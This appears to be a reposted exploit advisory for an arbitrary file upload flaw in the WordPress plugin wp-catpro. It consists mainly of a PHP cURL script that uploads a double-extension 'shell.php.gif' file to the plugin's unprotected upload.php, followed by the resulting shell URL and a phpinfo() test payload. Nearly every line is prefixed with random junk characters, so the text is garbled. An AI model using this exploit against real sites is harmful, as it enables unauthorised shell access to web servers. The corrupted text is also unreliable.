WordPress插件wp-catpro任意文件上传

admin

Wordpress plugins - wp-catpro Arbitrary File Upload Vulnerability
5 k3 m, e! ~9 J5 l4 s#-----------------------------------------------------------------------
3 G& }' Q$ D# A8 l3 C3 f
" A/ i7 F$ a: J作者  => Zikou-16
/ T, v  u0 F9 `1 s7 D邮箱 => zikou16x@gmail.com
$ x6 j9 p1 V3 R( t& H* O+ U测试系统 : Windows 7 , Backtrack 5r3
( e- z4 i. n2 e. a7 j+ N下载地址 : http://xmlswf.com/images/stories/WP_plugins/wp-catpro.zip
####

9 H/ l8 i4 }& z. a2 S% I3 p. z#=> Exploit 信息:
. j2 o: [& [3 T* m; g------------------
9 z" ?0 x. w8 _! F/ v( Z. K# 攻击者可以上传 file/shell.php.gif
# ("jpg", "gif", "png")  // Allowed file extensions
3 e! k' O+ J+ s$ S) p/ j2 r! A# "/uploads/";  // The path were we will save the file (getcwd() may not be reliable and should be tested in your environment)
# '.A-Z0-9_ !@#$%^&()+={}\[\]\',~`-'; // Characters allowed in the file name (in a Regular Expression format)
9 Q# M2 l8 v1 y0 k  e0 }------------------
" C4 l# G; C9 `
0 p% W$ L: u8 I9 l* P' \#=> Exploit
-----------
<?php

$uploadfile="zik.php.gif";
$ch = curl_init("http://[ www.2cto.com ]/[path]/wp-content/plugins/wp-catpro/js/swfupload/js/upload.php");
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS,
0 @6 Y! l# j0 L2 G9 A4 m7 narray('Filedata'=>"@$uploadfile",
4 N2 N# T& w) k2 o' W9 e'folder'=>'/wp-content/uploads/catpro/'));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
& G! }# X$ f9 n6 `2 |$postResult = curl_exec($ch);
curl_close($ch);

print "$postResult";

Shell Access : http://[ www.xxx.com ]/[path]/wp-content/uploads/catpro/random_name.php.gif
. I* T8 g" S, F  ?>
4 d: ]! h: V! Z. l0 y/ \1 v  B<?php
phpinfo();
7 ~# f5 V: v( q: R* [, T' {?>